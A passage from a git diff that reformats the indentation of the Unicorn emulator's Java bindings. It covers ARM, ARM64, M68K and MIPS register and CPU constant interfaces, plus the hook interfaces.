= 274; - public static final int UC_ARM64_REG_TTBR1_EL1 = 275; - public static final int UC_ARM64_REG_ESR_EL0 = 276; - public static final int UC_ARM64_REG_ESR_EL1 = 277; - public static final int UC_ARM64_REG_ESR_EL2 = 278; - public static final int UC_ARM64_REG_ESR_EL3 = 279; - public static final int UC_ARM64_REG_FAR_EL0 = 280; - public static final int UC_ARM64_REG_FAR_EL1 = 281; - public static final int UC_ARM64_REG_FAR_EL2 = 282; - public static final int UC_ARM64_REG_FAR_EL3 = 283; - public static final int UC_ARM64_REG_PAR_EL1 = 284; - public static final int UC_ARM64_REG_MAIR_EL1 = 285; - public static final int UC_ARM64_REG_VBAR_EL0 = 286; - public static final int UC_ARM64_REG_VBAR_EL1 = 287; - public static final int UC_ARM64_REG_VBAR_EL2 = 288; - public static final int UC_ARM64_REG_VBAR_EL3 = 289; - public static final int UC_ARM64_REG_CP_REG = 290; + // other CP15 registers, depreciated, use UC_ARM64_REG_CP_REG instead + public static final int UC_ARM64_REG_TTBR0_EL1 = 274; + public static final int UC_ARM64_REG_TTBR1_EL1 = 275; + public static final int UC_ARM64_REG_ESR_EL0 = 276; + public static final int UC_ARM64_REG_ESR_EL1 = 277; + public static final int UC_ARM64_REG_ESR_EL2 = 278; + public static final int UC_ARM64_REG_ESR_EL3 = 279; + public static final int UC_ARM64_REG_FAR_EL0 = 280; + public static final int UC_ARM64_REG_FAR_EL1 = 281; + public static final int UC_ARM64_REG_FAR_EL2 = 282; + public static final int UC_ARM64_REG_FAR_EL3 = 283; + public static final int UC_ARM64_REG_PAR_EL1 = 284; + public static final int UC_ARM64_REG_MAIR_EL1 = 285; + public static final int UC_ARM64_REG_VBAR_EL0 = 286; + public static final int UC_ARM64_REG_VBAR_EL1 = 287; + public static final int UC_ARM64_REG_VBAR_EL2 = 288; + public static final int UC_ARM64_REG_VBAR_EL3 = 289; + public static final int UC_ARM64_REG_CP_REG = 290; -// floating point control and status registers - public static final int UC_ARM64_REG_FPCR = 291; - public static final int UC_ARM64_REG_FPSR = 292; - public static final int UC_ARM64_REG_ENDING = 293; + // floating point control and status registers + public static final int UC_ARM64_REG_FPCR = 291; + public static final int UC_ARM64_REG_FPSR = 292; + public static final int UC_ARM64_REG_ENDING = 293; -// alias registers - public static final int UC_ARM64_REG_IP0 = 215; - public static final int UC_ARM64_REG_IP1 = 216; - public static final int UC_ARM64_REG_FP = 1; - public static final int UC_ARM64_REG_LR = 2; + // alias registers + public static final int UC_ARM64_REG_IP0 = 215; + public static final int UC_ARM64_REG_IP1 = 216; + public static final int UC_ARM64_REG_FP = 1; + public static final int UC_ARM64_REG_LR = 2; -// ARM64 instructions + // ARM64 instructions - public static final int UC_ARM64_INS_INVALID = 0; - public static final int UC_ARM64_INS_MRS = 1; - public static final int UC_ARM64_INS_MSR = 2; - public static final int UC_ARM64_INS_SYS = 3; - public static final int UC_ARM64_INS_SYSL = 4; - public static final int UC_ARM64_INS_ENDING = 5; + public static final int UC_ARM64_INS_INVALID = 0; + public static final int UC_ARM64_INS_MRS = 1; + public static final int UC_ARM64_INS_MSR = 2; + public static final int UC_ARM64_INS_SYS = 3; + public static final int UC_ARM64_INS_SYSL = 4; + public static final int UC_ARM64_INS_ENDING = 5; } diff --git a/bindings/java/unicorn/ArmConst.java b/bindings/java/unicorn/ArmConst.java index 0b56d072..300a8fda 100644 --- a/bindings/java/unicorn/ArmConst.java +++ b/bindings/java/unicorn/ArmConst.java @@ -4,195 +4,195 @@ package unicorn; public interface ArmConst { -// ARM CPU + // ARM CPU - public static final int UC_CPU_ARM_926 = 0; - public static final int UC_CPU_ARM_946 = 1; - public static final int UC_CPU_ARM_1026 = 2; - public static final int UC_CPU_ARM_1136_R2 = 3; - public static final int UC_CPU_ARM_1136 = 4; - public static final int UC_CPU_ARM_1176 = 5; - public static final int UC_CPU_ARM_11MPCORE = 6; - public static final int UC_CPU_ARM_CORTEX_M0 = 7; - public static final int UC_CPU_ARM_CORTEX_M3 = 8; - public static final int UC_CPU_ARM_CORTEX_M4 = 9; - public static final int UC_CPU_ARM_CORTEX_M7 = 10; - public static final int UC_CPU_ARM_CORTEX_M33 = 11; - public static final int UC_CPU_ARM_CORTEX_R5 = 12; - public static final int UC_CPU_ARM_CORTEX_R5F = 13; - public static final int UC_CPU_ARM_CORTEX_A7 = 14; - public static final int UC_CPU_ARM_CORTEX_A8 = 15; - public static final int UC_CPU_ARM_CORTEX_A9 = 16; - public static final int UC_CPU_ARM_CORTEX_A15 = 17; - public static final int UC_CPU_ARM_TI925T = 18; - public static final int UC_CPU_ARM_SA1100 = 19; - public static final int UC_CPU_ARM_SA1110 = 20; - public static final int UC_CPU_ARM_PXA250 = 21; - public static final int UC_CPU_ARM_PXA255 = 22; - public static final int UC_CPU_ARM_PXA260 = 23; - public static final int UC_CPU_ARM_PXA261 = 24; - public static final int UC_CPU_ARM_PXA262 = 25; - public static final int UC_CPU_ARM_PXA270 = 26; - public static final int UC_CPU_ARM_PXA270A0 = 27; - public static final int UC_CPU_ARM_PXA270A1 = 28; - public static final int UC_CPU_ARM_PXA270B0 = 29; - public static final int UC_CPU_ARM_PXA270B1 = 30; - public static final int UC_CPU_ARM_PXA270C0 = 31; - public static final int UC_CPU_ARM_PXA270C5 = 32; - public static final int UC_CPU_ARM_MAX = 33; - public static final int UC_CPU_ARM_ENDING = 34; + public static final int UC_CPU_ARM_926 = 0; + public static final int UC_CPU_ARM_946 = 1; + public static final int UC_CPU_ARM_1026 = 2; + public static final int UC_CPU_ARM_1136_R2 = 3; + public static final int UC_CPU_ARM_1136 = 4; + public static final int UC_CPU_ARM_1176 = 5; + public static final int UC_CPU_ARM_11MPCORE = 6; + public static final int UC_CPU_ARM_CORTEX_M0 = 7; + public static final int UC_CPU_ARM_CORTEX_M3 = 8; + public static final int UC_CPU_ARM_CORTEX_M4 = 9; + public static final int UC_CPU_ARM_CORTEX_M7 = 10; + public static final int UC_CPU_ARM_CORTEX_M33 = 11; + public static final int UC_CPU_ARM_CORTEX_R5 = 12; + public static final int UC_CPU_ARM_CORTEX_R5F = 13; + public static final int UC_CPU_ARM_CORTEX_A7 = 14; + public static final int UC_CPU_ARM_CORTEX_A8 = 15; + public static final int UC_CPU_ARM_CORTEX_A9 = 16; + public static final int UC_CPU_ARM_CORTEX_A15 = 17; + public static final int UC_CPU_ARM_TI925T = 18; + public static final int UC_CPU_ARM_SA1100 = 19; + public static final int UC_CPU_ARM_SA1110 = 20; + public static final int UC_CPU_ARM_PXA250 = 21; + public static final int UC_CPU_ARM_PXA255 = 22; + public static final int UC_CPU_ARM_PXA260 = 23; + public static final int UC_CPU_ARM_PXA261 = 24; + public static final int UC_CPU_ARM_PXA262 = 25; + public static final int UC_CPU_ARM_PXA270 = 26; + public static final int UC_CPU_ARM_PXA270A0 = 27; + public static final int UC_CPU_ARM_PXA270A1 = 28; + public static final int UC_CPU_ARM_PXA270B0 = 29; + public static final int UC_CPU_ARM_PXA270B1 = 30; + public static final int UC_CPU_ARM_PXA270C0 = 31; + public static final int UC_CPU_ARM_PXA270C5 = 32; + public static final int UC_CPU_ARM_MAX = 33; + public static final int UC_CPU_ARM_ENDING = 34; -// ARM registers + // ARM registers - public static final int UC_ARM_REG_INVALID = 0; - public static final int UC_ARM_REG_APSR = 1; - public static final int UC_ARM_REG_APSR_NZCV = 2; - public static final int UC_ARM_REG_CPSR = 3; - public static final int UC_ARM_REG_FPEXC = 4; - public static final int UC_ARM_REG_FPINST = 5; - public static final int UC_ARM_REG_FPSCR = 6; - public static final int UC_ARM_REG_FPSCR_NZCV = 7; - public static final int UC_ARM_REG_FPSID = 8; - public static final int UC_ARM_REG_ITSTATE = 9; - public static final int UC_ARM_REG_LR = 10; - public static final int UC_ARM_REG_PC = 11; - public static final int UC_ARM_REG_SP = 12; - public static final int UC_ARM_REG_SPSR = 13; - public static final int UC_ARM_REG_D0 = 14; - public static final int UC_ARM_REG_D1 = 15; - public static final int UC_ARM_REG_D2 = 16; - public static final int UC_ARM_REG_D3 = 17; - public static final int UC_ARM_REG_D4 = 18; - public static final int UC_ARM_REG_D5 = 19; - public static final int UC_ARM_REG_D6 = 20; - public static final int UC_ARM_REG_D7 = 21; - public static final int UC_ARM_REG_D8 = 22; - public static final int UC_ARM_REG_D9 = 23; - public static final int UC_ARM_REG_D10 = 24; - public static final int UC_ARM_REG_D11 = 25; - public static final int UC_ARM_REG_D12 = 26; - public static final int UC_ARM_REG_D13 = 27; - public static final int UC_ARM_REG_D14 = 28; - public static final int UC_ARM_REG_D15 = 29; - public static final int UC_ARM_REG_D16 = 30; - public static final int UC_ARM_REG_D17 = 31; - public static final int UC_ARM_REG_D18 = 32; - public static final int UC_ARM_REG_D19 = 33; - public static final int UC_ARM_REG_D20 = 34; - public static final int UC_ARM_REG_D21 = 35; - public static final int UC_ARM_REG_D22 = 36; - public static final int UC_ARM_REG_D23 = 37; - public static final int UC_ARM_REG_D24 = 38; - public static final int UC_ARM_REG_D25 = 39; - public static final int UC_ARM_REG_D26 = 40; - public static final int UC_ARM_REG_D27 = 41; - public static final int UC_ARM_REG_D28 = 42; - public static final int UC_ARM_REG_D29 = 43; - public static final int UC_ARM_REG_D30 = 44; - public static final int UC_ARM_REG_D31 = 45; - public static final int UC_ARM_REG_FPINST2 = 46; - public static final int UC_ARM_REG_MVFR0 = 47; - public static final int UC_ARM_REG_MVFR1 = 48; - public static final int UC_ARM_REG_MVFR2 = 49; - public static final int UC_ARM_REG_Q0 = 50; - public static final int UC_ARM_REG_Q1 = 51; - public static final int UC_ARM_REG_Q2 = 52; - public static final int UC_ARM_REG_Q3 = 53; - public static final int UC_ARM_REG_Q4 = 54; - public static final int UC_ARM_REG_Q5 = 55; - public static final int UC_ARM_REG_Q6 = 56; - public static final int UC_ARM_REG_Q7 = 57; - public static final int UC_ARM_REG_Q8 = 58; - public static final int UC_ARM_REG_Q9 = 59; - public static final int UC_ARM_REG_Q10 = 60; - public static final int UC_ARM_REG_Q11 = 61; - public static final int UC_ARM_REG_Q12 = 62; - public static final int UC_ARM_REG_Q13 = 63; - public static final int UC_ARM_REG_Q14 = 64; - public static final int UC_ARM_REG_Q15 = 65; - public static final int UC_ARM_REG_R0 = 66; - public static final int UC_ARM_REG_R1 = 67; - public static final int UC_ARM_REG_R2 = 68; - public static final int UC_ARM_REG_R3 = 69; - public static final int UC_ARM_REG_R4 = 70; - public static final int UC_ARM_REG_R5 = 71; - public static final int UC_ARM_REG_R6 = 72; - public static final int UC_ARM_REG_R7 = 73; - public static final int UC_ARM_REG_R8 = 74; - public static final int UC_ARM_REG_R9 = 75; - public static final int UC_ARM_REG_R10 = 76; - public static final int UC_ARM_REG_R11 = 77; - public static final int UC_ARM_REG_R12 = 78; - public static final int UC_ARM_REG_S0 = 79; - public static final int UC_ARM_REG_S1 = 80; - public static final int UC_ARM_REG_S2 = 81; - public static final int UC_ARM_REG_S3 = 82; - public static final int UC_ARM_REG_S4 = 83; - public static final int UC_ARM_REG_S5 = 84; - public static final int UC_ARM_REG_S6 = 85; - public static final int UC_ARM_REG_S7 = 86; - public static final int UC_ARM_REG_S8 = 87; - public static final int UC_ARM_REG_S9 = 88; - public static final int UC_ARM_REG_S10 = 89; - public static final int UC_ARM_REG_S11 = 90; - public static final int UC_ARM_REG_S12 = 91; - public static final int UC_ARM_REG_S13 = 92; - public static final int UC_ARM_REG_S14 = 93; - public static final int UC_ARM_REG_S15 = 94; - public static final int UC_ARM_REG_S16 = 95; - public static final int UC_ARM_REG_S17 = 96; - public static final int UC_ARM_REG_S18 = 97; - public static final int UC_ARM_REG_S19 = 98; - public static final int UC_ARM_REG_S20 = 99; - public static final int UC_ARM_REG_S21 = 100; - public static final int UC_ARM_REG_S22 = 101; - public static final int UC_ARM_REG_S23 = 102; - public static final int UC_ARM_REG_S24 = 103; - public static final int UC_ARM_REG_S25 = 104; - public static final int UC_ARM_REG_S26 = 105; - public static final int UC_ARM_REG_S27 = 106; - public static final int UC_ARM_REG_S28 = 107; - public static final int UC_ARM_REG_S29 = 108; - public static final int UC_ARM_REG_S30 = 109; - public static final int UC_ARM_REG_S31 = 110; - public static final int UC_ARM_REG_C1_C0_2 = 111; - public static final int UC_ARM_REG_C13_C0_2 = 112; - public static final int UC_ARM_REG_C13_C0_3 = 113; - public static final int UC_ARM_REG_IPSR = 114; - public static final int UC_ARM_REG_MSP = 115; - public static final int UC_ARM_REG_PSP = 116; - public static final int UC_ARM_REG_CONTROL = 117; - public static final int UC_ARM_REG_IAPSR = 118; - public static final int UC_ARM_REG_EAPSR = 119; - public static final int UC_ARM_REG_XPSR = 120; - public static final int UC_ARM_REG_EPSR = 121; - public static final int UC_ARM_REG_IEPSR = 122; - public static final int UC_ARM_REG_PRIMASK = 123; - public static final int UC_ARM_REG_BASEPRI = 124; - public static final int UC_ARM_REG_BASEPRI_MAX = 125; - public static final int UC_ARM_REG_FAULTMASK = 126; - public static final int UC_ARM_REG_APSR_NZCVQ = 127; - public static final int UC_ARM_REG_APSR_G = 128; - public static final int UC_ARM_REG_APSR_NZCVQG = 129; - public static final int UC_ARM_REG_IAPSR_NZCVQ = 130; - public static final int UC_ARM_REG_IAPSR_G = 131; - public static final int UC_ARM_REG_IAPSR_NZCVQG = 132; - public static final int UC_ARM_REG_EAPSR_NZCVQ = 133; - public static final int UC_ARM_REG_EAPSR_G = 134; - public static final int UC_ARM_REG_EAPSR_NZCVQG = 135; - public static final int UC_ARM_REG_XPSR_NZCVQ = 136; - public static final int UC_ARM_REG_XPSR_G = 137; - public static final int UC_ARM_REG_XPSR_NZCVQG = 138; - public static final int UC_ARM_REG_CP_REG = 139; - public static final int UC_ARM_REG_ENDING = 140; + public static final int UC_ARM_REG_INVALID = 0; + public static final int UC_ARM_REG_APSR = 1; + public static final int UC_ARM_REG_APSR_NZCV = 2; + public static final int UC_ARM_REG_CPSR = 3; + public static final int UC_ARM_REG_FPEXC = 4; + public static final int UC_ARM_REG_FPINST = 5; + public static final int UC_ARM_REG_FPSCR = 6; + public static final int UC_ARM_REG_FPSCR_NZCV = 7; + public static final int UC_ARM_REG_FPSID = 8; + public static final int UC_ARM_REG_ITSTATE = 9; + public static final int UC_ARM_REG_LR = 10; + public static final int UC_ARM_REG_PC = 11; + public static final int UC_ARM_REG_SP = 12; + public static final int UC_ARM_REG_SPSR = 13; + public static final int UC_ARM_REG_D0 = 14; + public static final int UC_ARM_REG_D1 = 15; + public static final int UC_ARM_REG_D2 = 16; + public static final int UC_ARM_REG_D3 = 17; + public static final int UC_ARM_REG_D4 = 18; + public static final int UC_ARM_REG_D5 = 19; + public static final int UC_ARM_REG_D6 = 20; + public static final int UC_ARM_REG_D7 = 21; + public static final int UC_ARM_REG_D8 = 22; + public static final int UC_ARM_REG_D9 = 23; + public static final int UC_ARM_REG_D10 = 24; + public static final int UC_ARM_REG_D11 = 25; + public static final int UC_ARM_REG_D12 = 26; + public static final int UC_ARM_REG_D13 = 27; + public static final int UC_ARM_REG_D14 = 28; + public static final int UC_ARM_REG_D15 = 29; + public static final int UC_ARM_REG_D16 = 30; + public static final int UC_ARM_REG_D17 = 31; + public static final int UC_ARM_REG_D18 = 32; + public static final int UC_ARM_REG_D19 = 33; + public static final int UC_ARM_REG_D20 = 34; + public static final int UC_ARM_REG_D21 = 35; + public static final int UC_ARM_REG_D22 = 36; + public static final int UC_ARM_REG_D23 = 37; + public static final int UC_ARM_REG_D24 = 38; + public static final int UC_ARM_REG_D25 = 39; + public static final int UC_ARM_REG_D26 = 40; + public static final int UC_ARM_REG_D27 = 41; + public static final int UC_ARM_REG_D28 = 42; + public static final int UC_ARM_REG_D29 = 43; + public static final int UC_ARM_REG_D30 = 44; + public static final int UC_ARM_REG_D31 = 45; + public static final int UC_ARM_REG_FPINST2 = 46; + public static final int UC_ARM_REG_MVFR0 = 47; + public static final int UC_ARM_REG_MVFR1 = 48; + public static final int UC_ARM_REG_MVFR2 = 49; + public static final int UC_ARM_REG_Q0 = 50; + public static final int UC_ARM_REG_Q1 = 51; + public static final int UC_ARM_REG_Q2 = 52; + public static final int UC_ARM_REG_Q3 = 53; + public static final int UC_ARM_REG_Q4 = 54; + public static final int UC_ARM_REG_Q5 = 55; + public static final int UC_ARM_REG_Q6 = 56; + public static final int UC_ARM_REG_Q7 = 57; + public static final int UC_ARM_REG_Q8 = 58; + public static final int UC_ARM_REG_Q9 = 59; + public static final int UC_ARM_REG_Q10 = 60; + public static final int UC_ARM_REG_Q11 = 61; + public static final int UC_ARM_REG_Q12 = 62; + public static final int UC_ARM_REG_Q13 = 63; + public static final int UC_ARM_REG_Q14 = 64; + public static final int UC_ARM_REG_Q15 = 65; + public static final int UC_ARM_REG_R0 = 66; + public static final int UC_ARM_REG_R1 = 67; + public static final int UC_ARM_REG_R2 = 68; + public static final int UC_ARM_REG_R3 = 69; + public static final int UC_ARM_REG_R4 = 70; + public static final int UC_ARM_REG_R5 = 71; + public static final int UC_ARM_REG_R6 = 72; + public static final int UC_ARM_REG_R7 = 73; + public static final int UC_ARM_REG_R8 = 74; + public static final int UC_ARM_REG_R9 = 75; + public static final int UC_ARM_REG_R10 = 76; + public static final int UC_ARM_REG_R11 = 77; + public static final int UC_ARM_REG_R12 = 78; + public static final int UC_ARM_REG_S0 = 79; + public static final int UC_ARM_REG_S1 = 80; + public static final int UC_ARM_REG_S2 = 81; + public static final int UC_ARM_REG_S3 = 82; + public static final int UC_ARM_REG_S4 = 83; + public static final int UC_ARM_REG_S5 = 84; + public static final int UC_ARM_REG_S6 = 85; + public static final int UC_ARM_REG_S7 = 86; + public static final int UC_ARM_REG_S8 = 87; + public static final int UC_ARM_REG_S9 = 88; + public static final int UC_ARM_REG_S10 = 89; + public static final int UC_ARM_REG_S11 = 90; + public static final int UC_ARM_REG_S12 = 91; + public static final int UC_ARM_REG_S13 = 92; + public static final int UC_ARM_REG_S14 = 93; + public static final int UC_ARM_REG_S15 = 94; + public static final int UC_ARM_REG_S16 = 95; + public static final int UC_ARM_REG_S17 = 96; + public static final int UC_ARM_REG_S18 = 97; + public static final int UC_ARM_REG_S19 = 98; + public static final int UC_ARM_REG_S20 = 99; + public static final int UC_ARM_REG_S21 = 100; + public static final int UC_ARM_REG_S22 = 101; + public static final int UC_ARM_REG_S23 = 102; + public static final int UC_ARM_REG_S24 = 103; + public static final int UC_ARM_REG_S25 = 104; + public static final int UC_ARM_REG_S26 = 105; + public static final int UC_ARM_REG_S27 = 106; + public static final int UC_ARM_REG_S28 = 107; + public static final int UC_ARM_REG_S29 = 108; + public static final int UC_ARM_REG_S30 = 109; + public static final int UC_ARM_REG_S31 = 110; + public static final int UC_ARM_REG_C1_C0_2 = 111; + public static final int UC_ARM_REG_C13_C0_2 = 112; + public static final int UC_ARM_REG_C13_C0_3 = 113; + public static final int UC_ARM_REG_IPSR = 114; + public static final int UC_ARM_REG_MSP = 115; + public static final int UC_ARM_REG_PSP = 116; + public static final int UC_ARM_REG_CONTROL = 117; + public static final int UC_ARM_REG_IAPSR = 118; + public static final int UC_ARM_REG_EAPSR = 119; + public static final int UC_ARM_REG_XPSR = 120; + public static final int UC_ARM_REG_EPSR = 121; + public static final int UC_ARM_REG_IEPSR = 122; + public static final int UC_ARM_REG_PRIMASK = 123; + public static final int UC_ARM_REG_BASEPRI = 124; + public static final int UC_ARM_REG_BASEPRI_MAX = 125; + public static final int UC_ARM_REG_FAULTMASK = 126; + public static final int UC_ARM_REG_APSR_NZCVQ = 127; + public static final int UC_ARM_REG_APSR_G = 128; + public static final int UC_ARM_REG_APSR_NZCVQG = 129; + public static final int UC_ARM_REG_IAPSR_NZCVQ = 130; + public static final int UC_ARM_REG_IAPSR_G = 131; + public static final int UC_ARM_REG_IAPSR_NZCVQG = 132; + public static final int UC_ARM_REG_EAPSR_NZCVQ = 133; + public static final int UC_ARM_REG_EAPSR_G = 134; + public static final int UC_ARM_REG_EAPSR_NZCVQG = 135; + public static final int UC_ARM_REG_XPSR_NZCVQ = 136; + public static final int UC_ARM_REG_XPSR_G = 137; + public static final int UC_ARM_REG_XPSR_NZCVQG = 138; + public static final int UC_ARM_REG_CP_REG = 139; + public static final int UC_ARM_REG_ENDING = 140; -// alias registers - public static final int UC_ARM_REG_R13 = 12; - public static final int UC_ARM_REG_R14 = 10; - public static final int UC_ARM_REG_R15 = 11; - public static final int UC_ARM_REG_SB = 75; - public static final int UC_ARM_REG_SL = 76; - public static final int UC_ARM_REG_FP = 77; - public static final int UC_ARM_REG_IP = 78; + // alias registers + public static final int UC_ARM_REG_R13 = 12; + public static final int UC_ARM_REG_R14 = 10; + public static final int UC_ARM_REG_R15 = 11; + public static final int UC_ARM_REG_SB = 75; + public static final int UC_ARM_REG_SL = 76; + public static final int UC_ARM_REG_FP = 77; + public static final int UC_ARM_REG_IP = 78; } diff --git a/bindings/java/unicorn/BlockHook.java b/bindings/java/unicorn/BlockHook.java index cae5ef9f..1ade7a2b 100644 --- a/bindings/java/unicorn/BlockHook.java +++ b/bindings/java/unicorn/BlockHook.java @@ -22,8 +22,5 @@ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. package unicorn; public interface BlockHook extends Hook { - - public void hook(Unicorn u, long address, int size, Object user); - + public void hook(Unicorn u, long address, int size, Object user); } - diff --git a/bindings/java/unicorn/CodeHook.java b/bindings/java/unicorn/CodeHook.java index 6cbfdd4b..e78a9803 100644 --- a/bindings/java/unicorn/CodeHook.java +++ b/bindings/java/unicorn/CodeHook.java @@ -22,8 +22,5 @@ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. package unicorn; public interface CodeHook extends Hook { - - public void hook(Unicorn u, long address, int size, Object user); - + public void hook(Unicorn u, long address, int size, Object user); } - diff --git a/bindings/java/unicorn/EventMemHook.java b/bindings/java/unicorn/EventMemHook.java index db1f12d9..8262b179 100644 --- a/bindings/java/unicorn/EventMemHook.java +++ b/bindings/java/unicorn/EventMemHook.java @@ -22,8 +22,6 @@ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. package unicorn; public interface EventMemHook extends Hook { - - public boolean hook(Unicorn u, long address, int size, long value, Object user); - + public boolean hook(Unicorn u, long address, int size, long value, + Object user); } - diff --git a/bindings/java/unicorn/Hook.java b/bindings/java/unicorn/Hook.java index 003599a3..97e0fc26 100644 --- a/bindings/java/unicorn/Hook.java +++ b/bindings/java/unicorn/Hook.java @@ -26,4 +26,5 @@ package unicorn; */ public interface Hook { + } diff --git a/bindings/java/unicorn/InHook.java b/bindings/java/unicorn/InHook.java index 97653ab3..9f0c978b 100644 --- a/bindings/java/unicorn/InHook.java +++ b/bindings/java/unicorn/InHook.java @@ -22,8 +22,5 @@ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. package unicorn; public interface InHook extends Hook { - - public int hook(Unicorn u, int port, int size, Object user); - + public int hook(Unicorn u, int port, int size, Object user); } - diff --git a/bindings/java/unicorn/InterruptHook.java b/bindings/java/unicorn/InterruptHook.java index 23bc29f8..3702e887 100644 --- a/bindings/java/unicorn/InterruptHook.java +++ b/bindings/java/unicorn/InterruptHook.java @@ -22,8 +22,5 @@ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. package unicorn; public interface InterruptHook extends Hook { - - public void hook(Unicorn u, int intno, Object user); - + public void hook(Unicorn u, int intno, Object user); } - diff --git a/bindings/java/unicorn/M68kConst.java b/bindings/java/unicorn/M68kConst.java index 17e80e7c..ea2500a3 100644 --- a/bindings/java/unicorn/M68kConst.java +++ b/bindings/java/unicorn/M68kConst.java @@ -4,40 +4,40 @@ package unicorn; public interface M68kConst { -// M68K CPU + // M68K CPU - public static final int UC_CPU_M68K_M5206 = 0; - public static final int UC_CPU_M68K_M68000 = 1; - public static final int UC_CPU_M68K_M68020 = 2; - public static final int UC_CPU_M68K_M68030 = 3; - public static final int UC_CPU_M68K_M68040 = 4; - public static final int UC_CPU_M68K_M68060 = 5; - public static final int UC_CPU_M68K_M5208 = 6; - public static final int UC_CPU_M68K_CFV4E = 7; - public static final int UC_CPU_M68K_ANY = 8; - public static final int UC_CPU_M68K_ENDING = 9; + public static final int UC_CPU_M68K_M5206 = 0; + public static final int UC_CPU_M68K_M68000 = 1; + public static final int UC_CPU_M68K_M68020 = 2; + public static final int UC_CPU_M68K_M68030 = 3; + public static final int UC_CPU_M68K_M68040 = 4; + public static final int UC_CPU_M68K_M68060 = 5; + public static final int UC_CPU_M68K_M5208 = 6; + public static final int UC_CPU_M68K_CFV4E = 7; + public static final int UC_CPU_M68K_ANY = 8; + public static final int UC_CPU_M68K_ENDING = 9; -// M68K registers + // M68K registers - public static final int UC_M68K_REG_INVALID = 0; - public static final int UC_M68K_REG_A0 = 1; - public static final int UC_M68K_REG_A1 = 2; - public static final int UC_M68K_REG_A2 = 3; - public static final int UC_M68K_REG_A3 = 4; - public static final int UC_M68K_REG_A4 = 5; - public static final int UC_M68K_REG_A5 = 6; - public static final int UC_M68K_REG_A6 = 7; - public static final int UC_M68K_REG_A7 = 8; - public static final int UC_M68K_REG_D0 = 9; - public static final int UC_M68K_REG_D1 = 10; - public static final int UC_M68K_REG_D2 = 11; - public static final int UC_M68K_REG_D3 = 12; - public static final int UC_M68K_REG_D4 = 13; - public static final int UC_M68K_REG_D5 = 14; - public static final int UC_M68K_REG_D6 = 15; - public static final int UC_M68K_REG_D7 = 16; - public static final int UC_M68K_REG_SR = 17; - public static final int UC_M68K_REG_PC = 18; - public static final int UC_M68K_REG_ENDING = 19; + public static final int UC_M68K_REG_INVALID = 0; + public static final int UC_M68K_REG_A0 = 1; + public static final int UC_M68K_REG_A1 = 2; + public static final int UC_M68K_REG_A2 = 3; + public static final int UC_M68K_REG_A3 = 4; + public static final int UC_M68K_REG_A4 = 5; + public static final int UC_M68K_REG_A5 = 6; + public static final int UC_M68K_REG_A6 = 7; + public static final int UC_M68K_REG_A7 = 8; + public static final int UC_M68K_REG_D0 = 9; + public static final int UC_M68K_REG_D1 = 10; + public static final int UC_M68K_REG_D2 = 11; + public static final int UC_M68K_REG_D3 = 12; + public static final int UC_M68K_REG_D4 = 13; + public static final int UC_M68K_REG_D5 = 14; + public static final int UC_M68K_REG_D6 = 15; + public static final int UC_M68K_REG_D7 = 16; + public static final int UC_M68K_REG_SR = 17; + public static final int UC_M68K_REG_PC = 18; + public static final int UC_M68K_REG_ENDING = 19; } diff --git a/bindings/java/unicorn/MemHook.java b/bindings/java/unicorn/MemHook.java index 9f1a1889..3151c84d 100644 --- a/bindings/java/unicorn/MemHook.java +++ b/bindings/java/unicorn/MemHook.java @@ -21,7 +21,6 @@ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. package unicorn; -public interface MemHook extends ReadHook,WriteHook { +public interface MemHook extends ReadHook, WriteHook { } - diff --git a/bindings/java/unicorn/MemRegion.java b/bindings/java/unicorn/MemRegion.java index b729b3a9..1e4733dd 100644 --- a/bindings/java/unicorn/MemRegion.java +++ b/bindings/java/unicorn/MemRegion.java @@ -22,16 +22,13 @@ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. package unicorn; public class MemRegion { + public long begin; + public long end; + public int perms; - public long begin; - public long end; - public int perms; - - public MemRegion(long begin, long end, int perms) { - this.begin = begin; - this.end = end; - this.perms = perms; - } - + public MemRegion(long begin, long end, int perms) { + this.begin = begin; + this.end = end; + this.perms = perms; + } } - diff --git a/bindings/java/unicorn/MipsConst.java b/bindings/java/unicorn/MipsConst.java index ecb65314..1cd6eb49 100644 --- a/bindings/java/unicorn/MipsConst.java +++ b/bindings/java/unicorn/MipsConst.java @@ -4,238 +4,238 @@ package unicorn; public interface MipsConst { -// MIPS32 CPUS + // MIPS32 CPUS - public static final int UC_CPU_MIPS32_4KC = 0; - public static final int UC_CPU_MIPS32_4KM = 1; - public static final int UC_CPU_MIPS32_4KECR1 = 2; - public static final int UC_CPU_MIPS32_4KEMR1 = 3; - public static final int UC_CPU_MIPS32_4KEC = 4; - public static final int UC_CPU_MIPS32_4KEM = 5; - public static final int UC_CPU_MIPS32_24KC = 6; - public static final int UC_CPU_MIPS32_24KEC = 7; - public static final int UC_CPU_MIPS32_24KF = 8; - public static final int UC_CPU_MIPS32_34KF = 9; - public static final int UC_CPU_MIPS32_74KF = 10; - public static final int UC_CPU_MIPS32_M14K = 11; - public static final int UC_CPU_MIPS32_M14KC = 12; - public static final int UC_CPU_MIPS32_P5600 = 13; - public static final int UC_CPU_MIPS32_MIPS32R6_GENERIC = 14; - public static final int UC_CPU_MIPS32_I7200 = 15; - public static final int UC_CPU_MIPS32_ENDING = 16; + public static final int UC_CPU_MIPS32_4KC = 0; + public static final int UC_CPU_MIPS32_4KM = 1; + public static final int UC_CPU_MIPS32_4KECR1 = 2; + public static final int UC_CPU_MIPS32_4KEMR1 = 3; + public static final int UC_CPU_MIPS32_4KEC = 4; + public static final int UC_CPU_MIPS32_4KEM = 5; + public static final int UC_CPU_MIPS32_24KC = 6; + public static final int UC_CPU_MIPS32_24KEC = 7; + public static final int UC_CPU_MIPS32_24KF = 8; + public static final int UC_CPU_MIPS32_34KF = 9; + public static final int UC_CPU_MIPS32_74KF = 10; + public static final int UC_CPU_MIPS32_M14K = 11; + public static final int UC_CPU_MIPS32_M14KC = 12; + public static final int UC_CPU_MIPS32_P5600 = 13; + public static final int UC_CPU_MIPS32_MIPS32R6_GENERIC = 14; + public static final int UC_CPU_MIPS32_I7200 = 15; + public static final int UC_CPU_MIPS32_ENDING = 16; -// MIPS64 CPUS + // MIPS64 CPUS - public static final int UC_CPU_MIPS64_R4000 = 0; - public static final int 